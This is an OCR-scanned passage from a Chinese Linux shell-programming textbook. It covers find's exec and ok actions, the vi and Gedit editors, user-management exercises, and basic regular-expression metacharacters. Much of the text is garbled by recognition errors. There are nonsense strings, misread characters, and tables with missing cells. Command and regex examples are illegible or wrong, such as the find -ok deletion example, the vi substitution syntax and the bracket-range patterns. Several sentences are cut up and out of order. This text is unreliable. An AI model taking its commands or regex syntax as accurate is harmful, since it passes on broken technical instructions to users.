执行 ls -1 命令 ， 即 列 出 碍 找 结果 的 详细 文件 信息 。 例 2-27 的 结果 表明 该 命令 列 出 了 /etc 目 
录 及 其 子 目 录 下 所 有 以 rc 开头 的 普通 文件 的 详细 信息 , 列 出 详细 信息 是 exec 操作 进一步 处 
理 的 结果 。 

ok 操作 和 exec 的 作用 相同 , 只 不 过 以 一 种 更 安全 的 模式 来 执行 该 参数 所 给 出 的 Shell 命 
令 ， 在 执行 每 一 个 命令 之 前 ， 都 会 给 出 提示 ， 让 用 户 来 确定 是 否 执 行 。 在 执行 一 些 危险 操作 
时 ， 建 议 使 用 ok 操作 ， 比 如 : 下 面 的 例 2-28 试图 删除 wavlog 目录 下 更 改 时 间距 今 3 天 内 的 
所 有 文件 ， 由 于 删除 文件 的 操作 是 不 可 以 恢复 的 ， 因 此 ，find 命令 使 用 ok 操作 在 删除 文件 之 
前 给 出 提示 ， 等 待 用 户 确定 后 再 执行 删除 操作 。 

# 例 2-28: 演示 find 命令 的 ok 操作 

# 删 除 /var/log 目录 下 更 改 时 间距 今 3 天 内 的 所 有 文件 

Reoeanselarnsnem oo en ve lo me Se rm 


I 
RE 
1 
J 
I 
ET 


[root@jselab shell-book]# 
例 2-28 的 结果 可 以 看 出 ， 一 旦 find 命令 使 用 了 ok 操作 ， 在 对 查找 结果 执行 进一步 操 
作 前 ，Shell 出 现 提 示人 信息， 用 户 可 输入 y 或 n 选项 确 i 
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从 清远 见 
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“var/ loog/auene/audLe log > 
WE 
和 
/var/log/wtmp > ? y 
/var/log/secure-20100705 > ? y 























认 是 否 执行 该 项 操作 。 
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总 之 ，find 命令 的 选项 在 指定 查找 条 件 时 显得 灵活 多 变 ， 可 以 根据 文件 的 各 种 属性 来 查 
找 文 件 ， 对 于 查找 到 的 结果 ，find 命令 可 以 有 三 种 处 理 方 式 ，print 仅 将 结果 输出 到 屏幕 ， 而 
exec 和 ok 可 以 对 结果 进一步 处 理 ， 区 别 在 于 : exec 直接 进行 处 理 ， 而 ok 在 处 理 之 前 出 现 提 
示 信 息 ， 供 用 户 最 终 确 定 是 否 执行 该 操作 。 


EE 文本 编辑 器 人 


写 Shell 脚本 需要 使 用 文本 编辑 器 ,Linux 系统 中 的 文本 编辑 器 种 类 极 多 , 如 Emacs Kvim、 
i、Gedit、Kate 等 。 本 节 介 绍 两 种 文本 编辑 器 : 第 一 种 是 vi 编辑 器 ， 它 适用 于 命令 行 界面 ， 当 








































































































































































































人 SSH Secure Shell 或 PuTTY 登录 Linux 系统 时 ，vi 编辑 器 是 唯一 选择 ; 第 二 种 是 Gedit 编 
辑 器 ， 它 适用 于 图 形 化 界面 ， 当 我 们 登录 GNOME 桌面 环境 时 ， 一 般 使 用 Gedit 编辑 文件 。 


2.3.1 vi 编辑 器 


vi 是 UNIX 世界 中 最 通用 的 全 屏 编辑 器 ，Linux 中 用 的 是 i 的 加 强 版 Vim，vim 同 vi 完 
全 兼容 。 在 Linux 系统 中 ，vi 和 vim 是 完全 等 价 的 两 条 命令 ， 都 可 以 启动 vi 编辑 器 。 

vi 编辑 器 可 以 执行 输出 、 删 除 、 查 找 、 蔡 换 、 块 操作 等 众多 文本 操作 ， WN 
据 自 己 的 需要 对 其 进行 定制 ， 这 是 其 他 编辑 程序 所 没有 的 。vi 编辑 器 以 命令 行 的 方式 处 理 文 
本 ， 尽 管 不 如 图 形 化 处 理 方式 直观 ， 但 它 具 有 操作 速度 快 、 功 能 全 面 等 优点 。 男 外 ，vi 不 是 
一 个 排版 程序 ， 它 不 像 Word 或 WPS 那样 可 以 对 字体 、 格 式 、 段 落 等 其 他 属性 进行 编排 ， 它 
只 是 一 个 文本 编辑 程序 。vi 或 vim 的 基本 格式 如 下 : 


wen eenameal 
或 mo oa enemenl 


中 ，[option] 是 选项 ，[filename] 是 需要 编辑 的 一 个 或 多 个 文件 名 。 如 果 在 启动 vi 时 没 
有 指定 文件 名 ， 则 vi 命令 会 自动 产生 一 个 无 名 的 空 文件 。 如 果 指 定 的 [flename] 文 件 不 存在 
则 vi 将 创建 一 个 名 为 [filename] 的 新 文件 。 启 动 vi 后 ， 消 息 行 会 显示 文件 的 名 称 、 文 件 中 的 
行 数 和 字数 。 消 息 行 显示 的 信息 随 着 所 运行 命令 的 不 同 而 不 同 ， 如 果 文 件 中 的 任何 一 行 上 有 
个 波浪 线 (~)， 就 说 明 没 有 足够 的 行 来 填 满 屏幕 。 注 意 ，vi 并 不 锁 住 所 编辑 的 文件 ， 因 此 ， 
多 个 用 户 可 能 同时 编辑 一 个 文件 ， 最 后 保存 的 文件 版 本 将 被 保留 。 表 2-17 列 出 了 vi 命令 选 
项 及 其 意义 。 


表 2-17 vi 命令 的 选项 及 其 意义 














































































































































































































































































































































































































-c command 在 对 文件 进行 编辑 前 ， 先 执行 command 命令 





-+ filename 恢复 文件 flename 





-R 以 只 读 方式 编辑 文件 


+n file 编辑 file 文件 ， 并 将 光标 置 于 第 n 行 
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+file 编辑 file 文件 ， 并 将 光标 置 于 最 后 一 行 
+/string file 编辑 file 文件 ， 并 将 光标 置 于 第 一 个 保护 string 所 表示 的 字符 串 的 行 






































输入 vi 命令 打开 vi 编辑 器 后 ，vi 编辑 器 的 运行 状态 共有 以 下 两 种 模式 。 

(1) 一 般 模式 (Normal mode) 

输入 vi 命令 进入 vi 文本 编辑 器 的 时 候 ， 就 是 一 般 模 式 了 。 该 模式 将 用 户 的 输入 看 做 命 
令 ， 这 个 模式 允许 用 户 移动 游标 ， 且 允许 搜索 文本 功能 ， 图 2-2 是 用 vi 编辑 器 打开 stack.sh 
文件 时 的 一 般 模式 ， 此 时 ，vi 编辑 器 的 最 后 一 行 是 文件 名 、 文 件 包含 的 字符 数 和 字 节 数 。 退 
出 vi 编辑 器 、 保 存 当 前 的 修改 也 是 在 一 般 模式 中 进行 的 ， 在 一 般 模式 下 按 冒 号 按钮 ,将 出 现 
如 图 2-3 所 示 的 界面 ，vi 编辑 器 的 最 后 一 行 显示 冒号 ， 冒 号 后 面 输入 保存 、 退 出 等 命令 ， 这 
些 命令 共有 四 种 ， 如 表 2-18 所 示 。 































































































T210928:820198N iconoadmachinen ecure Shel - 10%28.820198 hie wirtoatmachinassHsecore Shell 
| Bie Edt Yen Window Hap | Ele Edt Yew Window Help 


| 加 | 虽 区 | 电台 | 电 岛 所 | 由 | 因 中 | 名 | 他 到 | | 园 | 号 放电 台 | 电 岛 庙 | 机 | 贡 四 | 各 | 电 必 
| 加 Quick Connect 回 Profiles | 四 Quick Connect 回 Profles 
图 !/bin/bash #1/bin/bash 











MAXTOP=50 MAXTOP=50 
TOP=$MAXTOP TOP=$MAXTOP 


TEMP= 
declare -a STACK 


return return 

£i 

echo S$# echo 5# 

#for ((i=1; i<=$#; i++)) #for ((i=1; i<=$#; i++)) 


until [ $# -eq 0 ] Po 
"stack.sh" 70L, 632C | | :ws 和 En 








SH2 - aes126-cbe -hmac-mds -none [68x20 | | 区 


图 2-2 vi 编辑 器 的 一 般 模 式 : 打开 文件 时 图 2-3 vi 编辑 器 的 一 般 模 式 : 保存 和 退出 


表 2-18 vi 编辑 器 文本 保存 和 退出 命令 
保存 和 退出 命令 





将 编辑 的 文本 存储 

离开 vi 文本 编辑 器 

曾 修改 过 文本 ， 但 是 不 想 存 储 ， 使 用 该 命令 强制 离开 vi 文本 编辑 器 
存储 文本 并 离开 vi 文本 编辑 器 



































(2) 插入 模式 (Insert mode) 

在 一 般 模 式 下 按 下 I、o、a 等 字母 部 可 以 进入 编辑 模式 ， 在 此 模式 下 ，vi 将 用 户 的 输入 插 
入 到 当前 光标 位 置 ， 修 改 暂时 保存 到 缓冲 区 ， 按 “Esc” 键 则 从 编辑 模式 退回 到 一 般 模 式 。 图 
2-4 显示 了 vi 编辑 器 的 编辑 模式 ，vi 编辑 器 的 最 后 一 行 显示 INSERT， 这 表示 能 插入 新 字符 。 
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有 EDITSOEITEIDTETTUTSEESSLUSSSTISRITSU 
| Ele Edt Yew Window Help 
IE ET ET 
| 加 Quick Connect 回 pofies 








#!/bin/bash 
TO0 轩 < 一 一 光标 位 置 


MAXTOP=50 
TOP=$MAXTOP 


TEMP= 
declare -a STACK 


#for ((i=1; i<=$#; i++)) : 
INSERT -- 和 一 一 一 一 一 一 编辑 模式 ，INSERT 表 示 能 插入 新 字符 


[55H2 - aes126-cbc - hmac-md5 - none | 66x20 


2-4 vi 编辑 器 的 编辑 模式 
































vi 编辑 器 在 插入 模式 下 编辑 文件 时 存在 两 个 关键 技巧 : 移动 光标 到 适当 的 位 置 和 编辑 文 
本 。vi 编辑 器 提供 了 丰富 的 移动 光标 命令 ， 如 表 2-19 所 示 ， 对 于 较 短 的 文件 ， 使 用 k、j、h、 
1 进行 上 下 左右 地 移动 就 可 以 满足 需求 。 但 是 ， 对 于 较 长 的 文件 ， 经 常 需要 根据 段落 、 句 子 、 
行 数 来 移动 光标 。 

表 2-19 用 于 移动 光标 的 vi 命令 



























































h 将 光标 向 左 移动 

j、 加 号 (+)、Enter 将 光标 向 下 移动 

k、 减 号 () 将 光标 向 上 移动 

将 光标 向 右 移动 

将 光标 移动 到 当前 段落 的 末 
将 光标 移动 到 当前 段落 的 开头 
将 光标 移动 到 当前 句子 的 末 
将 光标 移动 到 当前 句子 的 开头 
移动 到 当前 行 的 第 一 个 非 空 
移动 到 当前 行 末 尾 
移动 到 行 n 










































































编辑 文件 似乎 不 需要 展开 多 解释 ， 一般 情况 下 ,我 们 可 以 像 使 用 Windows 系统 的 记事 本 

样 编辑 文件 ， 表 2-20 列 出 了 vi 编辑 器 经 常用 到 的 编辑 命令 ， 熟 练 地 使 用 这 些 命令 能 够 提 
高 编辑 文件 的 效率 ， 比 如 : dd 能 够 删除 光标 所 在 的 整 行文 本 ，d$ 能 够 删除 当前 光标 位 置 到 该 
行 结束 的 所 有 文本 等 。 


表 2-20 ”常用 的 vi 编辑 命令 













































































删除 光标 当前 位 置 的 字符 
删除 光标 所 在 的 整 行文 本 
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删除 当前 光标 位 置 到 该 行 结 束 的 所 有 文本 





当前 光标 位 置 向 前 删除 单词 





一 行文 本 内 容 合并 到 本 行 行 尾 








前 光标 位 置 后 附加 内 容 














4 前 光标 所 在 行 的 后 面 附 加 内 容 














我 们 在 编辑 文件 时 常常 需要 搜索 单词 或 替换 单词 ，vi 编辑 器 也 提供 了 搜索 和 替换 功能 。 





首先 按 下 和 斜 杠 按钮 (/)， 光 标 会 
按 下 “Enter” 键 开始 搜索 ，vi 编辑 器 可 能 
当 满 足 搜索 条 件 的 字符 串 出 现在 当前 光标 位 置 后 面 时 ，vi 编辑 器 将 光标 跳 转 到 第 一 
个 满足 搜索 条 件 的 位 置 。 
当 满足 搜索 条 件 的 字符 串 出 现在 当前 光标 位 置 前 面 时 ，vi 编辑 器 将 跳 转 到 从 头 开始 
的 第 一 个 满足 搜索 条 件 的 位 置 。 























自动 移 到 vi 编辑 器 下 方 的 命令 行 , 用 户 输入 待 搜索 的 字符 
日 以 下 三 种 方式 响应 用 户 的 搜索 。 











Ud 
> 




























































































@ 文件 中 不 存在 满足 条 件 的 字符 串 时 ，vi 编辑 器 提示 错误 信息 。 











图 2-5 显示 了 vi 编辑 器 的 搜索 功能 ， 





它 是 在 /etc/services 文件 中 搜索 ssh 字符 串 ，vi 编辑 








器 下 方 出 现 斜 本 〈/)， 在 “/” 后 面 输入 待 搜索 的 字符 串 。 
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10 oo Hd EE 





上 Ele Ect Vew windom Hep 雪 ee 
| 器 | 驴 忆 | 饭 史 | 昌 和 访 己 的 | 尚 的 久久 
| 加 Qucdk Comnect 回 popies 


# /etc/services: 
# $Id: services,v 1.46 2009/03/23 14:56:28 ovasik Exp $ 
估 








于 


# Network services, Internet style 

# IANA services version: last updated 2009-03-23 

## 

# Note that it is presently the policy of IANA to assign a single well-known 

# port number for both TCP and UDP; hence, most entries here have two entries 

# even if the protocol doesn't support UDP operations. 

# Updated from RFC 1700, ‘‘Assigned Numbers'' (October 1994). 

# are included, only the more common ones. 

大 

# The latest IANA port assignments can be gotten from 
http://www.iana.org/assignments/port-numbers 

# The Well Known Ports are those from 0 through 1023. 

# The Registered Ports are those from 1024 through 49151 

# The Dynamic and/or Private Ports are those from 49152 through 65535 


Not all ports 


# Each line describes one service, and is of the form: 


大 service-name port/protocol [aliases ...]  [# comment] 
tcpmux 1/tcp # TCP port service multiplexer 
tcpmux 1/udp # TCP Port service multiplexer 


/ss 是 < 一 一 一 搜索 ssh 


Connected to 210,26,82.198 





SHE- aesl28-cbe -hmac-mds -none [79x25 | [i 


图 2-5 vi 编辑 器 的 搜索 功能 





vi 编辑 器 的 蔡 换 命令 的 基本 格式 为 : 
soe ne/ SS 


上 述 蔡 换 命 令 表 示 将 第 一 次 出 现 的 old_string 替换 成 new_string， 当 然 ， 可 以 在 上 述 蔡 换 





命令 后 加 上 g 选项 ， 





























表示 将 所 有 的 old_string 替换 成 new_string， 命 令 为 : 


:s/old string/new string/g 





图 2-6 显示 了 vi 编辑 器 的 符 换 功能 ， 


该 命令 将 所 有 的 TOP 替换 为 STACKTOP， 表 2-21 








归纳 了 vi 编辑 器 的 搜索 和 替换 命令 。 我 们 可 以 看 到 ，vi 编辑 器 在 替换 文本 时 还 可 以 指定 行 号 


的 范围 。 
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TREE ED x 
| le Edt Yew Wndow Help 

| 日 | 各 以 | 多久 | 昌 访 已 | 的 | 尚 的 | 各 | 久 ?| 

| 下 Quick comnect Profies | 

#1/bin/bash | 





MAXTOP=50 


TOP=$MAXTOP 


#for ((i=1; i<=$#; i++)) 
until [ $# -eq 0 ] 
lo 


d 
let TOP=TOP-1 





STACK[$TOP]=$1 
aie 


让 
:S/TOP/STACKTOP/g 轩 4 一 一 一 将 所 有 的 TOP 字 符 串 蔡 换 成 STACKTOP | 
|connected to 210,28,62,196 SH2 - aesl28-cbe -hmac-mds -none [79x25 | [II[ | 


2-6 vi 编辑 器 的 芋 换 功能 





表 2-21 vi 编辑 器 的 搜索 和 替换 命令 
/word 当前 光标 位 置 向 下 搜索 名 字 为 word 的 字符 串 



































?word 当前 光标 位 置 向 上 搜索 名 字 为 word 的 字符 














:nl,n2s/wordl/word2/g 在 nl 行 与 n2 行 之 间 搜 索 名 字 为 wordl 的 字符 串 ， 并 将 其 替换 为 word2 





























:1,$s/wordl/word2/g 在 第 1 行 与 最 后 一 行 之 间 搜 索 名 字 为 wordl 的 字符 串 ， 并 将 其 替换 为 word2 











2.3.2 Gedit 编辑 器 


Gedit 是 GNOME 桌面 环境 下 一 个 兼容 UTF-8 的 文本 编辑 器 。 它 简单 易 用 ， 有 良好 的 语 
法 高 亮 显示 功能 ， 对 中 文 支 持 很 好 ， 还 文 持 包括 GB2313、GBK 在 内 的 多 种 字符 编码 。Gedit 
利用 GNOME VFS 库 ， 它 还 可 以 编辑 远程 文件 。 它 支持 完整 的 恢复 和 重 做 系统 以 及 查找 和 替 
换 ， 还 支持 包括 多 语言 拼写 检查 和 一 个 灵活 的 插件 系统 ， 可 以 动态 地 添加 新 特性 。Gedit 还 增 
加 了 一 些小 特性 ,包括 行 号 显示 、 括 号 匹配 、 文 本 自动 换行 、 当 前 行 高 亮 以 及 自动 文件 备份 。 
Gedit 需要 在 GNOME 图 形 化 环境 下 使 用 ，Gedit 的 启动 命令 为 : 

gd 的 seen 

gedit 是 Gedit 的 启动 命令 ， 可 以 同时 打开 多 个 文件 ， 每 个 文件 将 在 Gedit 编辑 器 上 生成 
一 个 标签 ， 单 击 相应 的 标签 可 以 看 到 相应 的 文件 。Gedit 能 将 Shell 脚本 、C 语言 等 文件 的 关 
键 字 以 不 同 的 颜色 显示 ,， 即 所 谓 的 语法 高 亮 显示 功能 ， 极 大 地 方便 了 程序 员 编辑 文件 。 图 2-7 
显示 了 Gedit 编辑 器 的 界面 ， 图 中 打开 了 stack.sh、CARGO.db 和 colon.sh 三 个 文件 ， 可 以 看 
出 ，Gedit 的 界面 与 Windows 的 文本 编辑 器 风格 相似 ， 读 者 一 定 不 会 感到 陌生 。 
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DD Rs 位 置 系统 量 命 攻 坚 趾 全 shell-editor 的 16:06 
Ey pr sa nme x RD i 
六 号 、 二 | 三】 
国 雪 圭 ” 慰 需 . 
X| |CARGOdb 1/3 colonsh 只 
文件 名 标签 栏 
ja | 
i -2 $1" ] shell 丢 本 的 关键 字 以 不 
return 同 的 藉 色 显示 

人 

lecho $# 

for ((i=1; se i++)) 

di [ $# -eq 0] 

ee 

sh ~ | 跳 格 席 度 38v | 行 1, 列 1 
可 | [3 stacksh (usrlocalsh-- | 
图 2-7 Gedit 编辑 器 的 界面 
Gedit 编辑 器 包含 业 单 栏 、 工 具 栏 、 显 示 区 域 、 输 出 窗 日 和 状态 栏 等 部 分 ， 
如 下 项 目 : 

@ File (文件 ):; 用 于 处 理 新 文件 、 保 存 现 有 文件 和 打印 文件 。 
@ Edit (编辑 ): 用 于 操作 活动 缓冲 区 中 的 文本 ， 以 及 设置 编辑 器 首选 项 。 
@ View (查看 ): 用 于 设置 在 窗口 中 显示 的 编辑 器 特性 ， 己 经 设置 文本 高 
@ Search〈 搜 索 ): 用 于 查找 和 替换 活动 编辑 器 缓冲 区 中 的 文本 。 
@ Tools (工具 ): 用 于 访问 Gedit 中 安装 的 插件 工具 。 
@ Documents (文档 ): 用 于 管理 在 缓冲 区 中 打开 的 文件 。 
@ Help (帮助 ; 用 于 访问 完整 的 Gedit 手册 。 


File 菜单 
符 (URL) 格式 从 网 络 上 打开 文件 ， 





文件 所 在 


Gedit 有 若干 种 可 用 的 插件 















































































































































的 服务 器 和 该 文件 在 服务 器 的 完整 访问 路 径 。 
， 但 并 非 所 有 的 插件 都 是 











用 的 插件 。 
表 2-22 Gedit 插件 列表 


插 





提供 了 Open Location 选项 ， 允 许 使 用 WWW 世界 
该 格式 表示 可 以 用 于 访问 文件 的 协议 (如 HTTP 或 FTP)、 








其 菜单 栏 包括 


亮 模式 。 


FP 流行 的 标准 统一 资源 标识 


默认 安装 的 。 表 2-22 列 出 了 当前 可 





Change Case 


更 改 所 选 文本 的 大 小 写 





Document Tools 





报告 单词 、 行 、 字 符 和 非 空 字符 的 数量 








External Tools 


























在 编辑 器 中 提供 一 个 Shell 环境 ， 用 于 执行 命令 和 脚本 





File Brower Pane 





提供 一 个 简单 的 文件 浏览 器 ， 便 于 选择 要 编辑 的 文件 





Indent Lines 














提供 高 级 缩 进 和 不 缩 进 功能 








Insert Date/Time 








在 当前 光标 位 置 插入 各 种 格式 的 当前 








期 和 时 间 
























































清远 见 教育 集团 官网 : www. hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 





Modelines 在 编辑 器 窗口 底部 提供 Emacs 样式 的 消息 行 



































Python Console 在 编辑 器 窗口 底部 提供 一 个 交互 式 控制 台 ， 于 使 











Python 编程 让 

















Snippets 允许 保存 经 常 使 用 的 文本 段 ， 以 便 在 文本 的 任何 地 方 检索 





Sort 对 整个 文件 或 所 选 文本 快速 排序 

















Spell Checker 为 文本 文件 提供 字典 拼写 检查 





























Tag List 提供 经 常 使 用 的 字符 串 列 表 ， 使 用 户 可 以 方便 地 在 文本 中 输入 这 些 字 符 串 























User name 在 当前 光标 位 置 插入 当前 用 户 锯 


24 7 



























































本 章 简 明 扼 要 地 介绍 了 与 Shell 脚本 编程 相关 的 Linux 基 而 
命 


的 常用 命令 、 文 件 和 目录 操作 的 常用 命令 、 文 件 和 目录 的 权限 管理 

















两 种 文本 编辑 器 一 一 vi 和 Gedit。 





























读者 可 以 参考 Linux 基础 类 的 参考 书 。 


上 机 提议 








假定 目录 下 有 如 下 文件 : 
[root@localhost chapter16]# ls 
maosevle nee nes eo si 
@olonms er es eg si 
colorss cern sn nomimeere eLongse rs 
Ee nomneera enna es 
eT nem us GS 
file2 Baeckagesedssn 


Femeangexecusenormnos he mee 





ramenmeangexecueenor ous om no 








El elSE Or Moulen Sn Etexamb sn 
Ele SmsSE Gr not2.8n a nl nn 
getopes ex sh SaaS sn 
SEO show numl.sh 
geteoptsexams ssh testetxt 

Mo eosin en Use hie sh 


[root@localhost chapter16]# 

则 下 面 的 命令 将 输出 的 内 容 各 是 什么 ? 
(1) echo* 

(2) echo f* 

(3) echo get* 

(4) echo *.* 























知识 , 包含 用 户 和 用 户 组 管理 
查找 文件 命令 





























由 于 篇 幅 所 限 ， 本 章 不 可 能 全 面 、 系 统 地 介绍 Linux 基础 知识 ;对 此 还 需 进一步 学 习 的 
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(2) 删除 组 grouptest。 





root， 指 定 shell 为 /bin/bash。 
(1) 新 建 一 个 系统 用 户 user2。 
































再 新 建文 件 test2。 














(4) 修改 用 户 密 码 过 期 时 间 为 2010-09-01。 





过 ssh 登录 127.0.0.1。 
(6) 更 改 用 户主 目录 /home/userl 为 /home/userl1。 
(7) 列 出 用 户 userl 的 UID、GID 等 。 











巩 








将 user4 加 入 到 testgroup 组 。 











将 用 户 userl 解冻 。 

















| Nl 


组 group2 的 GID 为 103， J grouptest。 





(3) 修改 用 户 userl 的 个 人 说 明 为 This is atest〈 提 示 加 -c 选项 ) 。 


(5) 更 改 用 户 userl 的 密码 为 111111， 加 锁 用 户 userl 并 查看 /etc/shadow， 用 户 userl 通 











(9) 使 用 passwd 将 userl 用 户 密码 冻结 ， 用 passwd 查看 userl 相关 信息 


(10) 切换 userl 用 户 ， 用 su 加 命令 行 直 接 查 看 shadow 的 尾 。 

















任 





5. 新 建 用 户 user1， 指 定 UID 为 777， 目 录 为 homemuserl1， 初 始 组 为 group1， 有 效 组 为 


(2) 查看 用 户 userl 的 组 群 ， 切 换 到 user1， 在 主 目录 下 新 建文 件 testL， 切 换 有 效 组 为 root， 

















(8) 增加 用 户 user3 、user4， 增 加 组 ;testgroup， 给 组 testgroup 设 定 密码 ， 将 组 testgroup 
诗 理 权 授 予 user1， 并 同时 将 root、userls user3 加 入 到 testgroup， 检 查 结果 ， 切 换 到 user1， 


， 最 后 用 passwd 





音 朋 
山 w 夏 


评 几 





























区 清和 和 令 普 过 介 
式 ， 请 放 























熟练 地 使 用 Shell 编程 的 工具 和 命令 。 为 此 ,本章 首 儿 
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.hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 


正则 表达 式 基础 人 


Linux Shell 以 一 串 字符 作为 表达 式 同系 统 传达 意思 。 元 字符 〈Metacharacters ) 是 用 来 曾 
释 字 符 表 达 式 意义 的 字符 ， 简 言 之 ， 元 字符 就 是 描述 字符 的 字符 ， 它 用 于 对 字符 表达 式 的 内 
容 、 转 换 及 各 种 操作 信息 进行 描述 。 正 则 表达 式 是 由 一 串 字 符 和 元 字符 构成 的 字符 串 ， 简 称 
RE (Regular Expression )。 正 则 表达 式 的 主要 功能 是 文本 查询 和 字符 串 操 作 ， 它 可 以 匹配 文 
本 的 一 个 字符 或 字符 集合 。 

在 Linux 系统 中 ,程序 设计 语言 Java、Perl 和 Python 等 ，Shell 工具 sed、awk 和 grep 等 ， 
MySQL 和 PostgreSQL 等 数据 库 服 务 器 都 使 用 了 正则 表达 式 ， 图 3-1 描述 了 正则 表达 式 用 于 
数据 流 处 理 的 过 程 ， 实 际 上 ， 正 则 表达 式 完成 了 数据 过 滤 ， 将 不 满足 正则 表达 式 定 义 的 数据 
拒绝 掉 ， 剩 下 与 正则 表达 式 匹 配 的 数据 。 


| 正则 表达 式 匹配 的 数据 




































































































































































3-1 正则 表达 式 处 理 数 据 过 程 











正则 表达 式 的 基本 元 素 包括 普通 字符 和 元 字符 ,例如 ，a、b、!1、2 等 字符 属于 普通 字符 ， 
普通 字符 可 以 按照 字面 意思 理解 ， 如 : a 只 能 理解 为 瑞 文 的 小 写字 母 a， 没 有 其 他 隐藏 含义 。 
而 *、^、 吕 等 元 字符 ，Shell 赋予 了 它们 超越 字面 意思 的 意义 ， 如 : * 符 号 的 字面 意义 只 是 一 个 
符号 ， 而 实际 上 却 表 示 了 重复 前 面 的 字符 0 次 或 多 次 的 隐藏 含义 。 因 此 ， 掌 握 正 则 表达 式 基 
本 元 素 主 要 是 对 正则 表达 式 中 元 字符 意义 的 掌握 。 

POSIX 标准 将 正则 表达 式 分 为 两 类 : 基本 的 正则 表达 式 和 扩展 的 正则 表达 式 ， 大 部 分 
Linux 应 用 和 工具 仅 支 持 基 本 的 正则 表达 式 ， 因 而 ， 本 节 所 述 的 正则 表达 式 基 础 是 掌握 正则 
表达 式 的 关键 ， 表 3-1 列 出 了 基本 的 正则 表达 式 中 元 字符 集合 及 其 意义 。 

表 3-1 基本 的 正则 表达 式 元 字符 集合 及 其 意义 

































































































































































意 义 


0 个 或 多 个 在 * 字 符 之 前 的 那个 普通 字符 











匹配 任意 字符 


匹配 行 首 ， 或 后 面 字符 的 非 
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$ 匹配 行 尾 








匹配 字符 集合 








精确 匹 





匹配 前 面 字符 





匹配 











下 面 逐 个 介 和 
1. Ck 符号 


正 

















前 面 字符 




















Ar 吕 








Fk 符号 
# 例 3-1: * 符 号 的 
hel*o 

Fk 





符号 前 面 的 
hellllllo 都 可 以 




















于 匹配 部 


, 








济 
[Bs 
出 
1 
这 
让 
冯 
当 
三 
这 
EE 
垃 




















普通 字符 是 1， 
hel*o 来 表示 。 






























































* 学 符 就 表示 匹配 1 











面 一 个 普通 字符 的 0 次 或 多 次 重复 ， 如 : 


2 Fr 























字符 0 次 或 多 次 , 如 字符 





些 例子 结合 使 用 元 字符 集合 。 





7 AAA 


串 helo、 hello、 


， 因 此 , “上 述 字 符 串 表示 前 面 三 个 字符 为 任意 字符 ， 第 


























此 , xb738、ui 73e 也 能 匹配 上 述 字符 串 。 


2.“.” 符 号 

点 号 “.” 用 于 匹配 任意 一 个 字符 ， 如 : 

# 例 3-2: .符号 的 意 》 

oe 

由 于 “.” 符 号 只 能 匹配 一 个 字符 
4 和 第 5 个 字符 是 7 和 3， 最 后 一 个 字符 为 任意 字符 ， 如 xcb738、4J973U 都 能 匹配 上 述 字 符 
串 。 值 得 注意 的 是 ,“.” 符 号 可 以 匹配 一 个 空格 ， 因 

3.“^” 符 号 

“和 ”符号 用 于 匹配 行 首 ， 表 示 行 首 的 字符 是 “^” 字 符 后 面 的 那个 


入 


erone 




















0 
该 字符 品 表 示 行 








例 3=35 “符号 的 意义 


这 表示 匹配 以 cloud 开头 的 行 。 


例 3-4: “符号 、. 符 号 和 * 符 

















AAA 


寸 
4.“$ ”符号 




















个 字 














micky$ 


的 表达 式 ， 为 : 


^$ 











例 3-5: $ 符 号 的 意义 





例 3=6: 室 行 的 表示 方法 











台 可 以 重复 匹配 6， 如 : 866X86666、8 6X86 都 








结合 上 和 面 介绍 的 “*” 
号 结合 使 用 




















pian 





符号 和 “.” 


首 的 三 个 字符 为 任意 字符 《〈 可 以 是 空格 )， 第 4 一 6 个 字符 为 X86， 第 


字符 ， 如 ; 
符号 ， 再 举 一 个 例子 : 

































































该 正则 表达 式 既 匹配 行 首 ， 又 匹配 外 














| 





以 匹配 上 述 字符 囊 








尾 ， 中 间 没 有 任何 字符， 





o 

















该 正则 表达 式 表示 匹配 以 micky 结尾 的 所 有 行 。 一 个 特殊 的 正则 表达 式 是 匹配 所 有 空 行 
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对 此 ， 为 空 行 。 读 者 需要 
集团 官网 : www. hqyj. com 
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牢记 例 3-6 所 示 的 空 行 表示 方法 ， 很 多 命令 都 用 到 这 个 正则 表达 式 来 表示 空 行 。 
如 果 需 要 匹配 只 包含 一 个 字符 的 行 ， 如 下 面 的 例 3-7 所 示 : 
# 例 3-7: 包含 一 个 字符 的 行 
入 $ 


5. “0?” 符号 
方 括号 [] 匹 配 字 符 集 合 ， 该 符号 支持 穷 举 方法 列 出 字符 

















集合 的 所 有 元 素 ， 也 支持 使 用 “-” 












































































































































符号 表示 字符 集合 范围 ， 表 明 字 符 集合 范围 从 “-” 左 边 字符 开始 ， 到 “-” 右 边 字符 结束 。 
如 果 要 匹配 任意 一 个 数字 ， 可 以 使 用 如 例 3-8 所 示 的 两 种 方法 ， 前 一 种 穷 举 了 阿拉 伯 数 字 ， 
后 一 种 用 数字 范围 表示 ， 显 得 比较 简洁 。 

例 3-8: 匹配 任意 一 个 数字 

0123456789] 

t= 

“[]” 也 可 以 用 做 字母 匹配 ， 例 3-9 给 出 了 匹配 字母 的 例子 : 

例 3-9: 匹配 字母 

a-z] # 所 有 小 写字 母 

及 = 加] # 所 有 大 写字 母 

b=B] # 小 写字 母 p~p 

Linux 系统 对 大 小 写 是 敏感 的 ， 并 且 支 持 字母 排序 ， 因 此 ,Linux 中 有 大 写字 母 序 列 和 小 











辐 . Z 


写字 母 序列 ， 两 者 是 分 开 的 ， 例 3-9 中 a 一 z 表示 所 有 的 小 写 学 母 ，A~Z 表示 所 有 的 大 写字 
母 ， 而 b~p 表示 从 b 到 p 之 间 所 有 的 小 写字 母 。 


































































































































































































































































































































































































我 们 知道 ,“^” 符 号 表示 匹配 行 首 ， 但 是 ,一 人 ”符号 放 到 “ 口 ”符号 中 就 不 再 表示 匹配 
行 首 了 ， 而 是 表示 取 反 符号 ， 请 看 下 面 的 例 3-10。 
例 3-10: “表示 取 反 
人 OoEG| 
网 3-10 的 正则 表达 式 匹 配 不 在 5~d 范围 之 内 的 所 有 字符 ， 此 时 ， 符 号 “^” 不 再 表示 匹 
配 行 首 ， 而 是 取 反 符号 ,不 在 b~d 范围 内 的 字符 实际 上 涵盖 了 除了 小 写字 母 b、c 和 d 之 外 
的 所 有 字符 (包括 其 他 字母 、 数 字 、 空格 等 )。 再 举 一 个 “[]” 符 号 和 “*” 符 号 结合 的 例子 。 
例 3-11: 匹配 所 有 的 英文 单词 
A=2a=2] [A=2a=2]* 
列 3-11 的 正则 表达 式 表示 以 任意 一 个 字母 开头 ， 再 以 任意 字母 进行 0 次 或 任意 次 重复 ， 
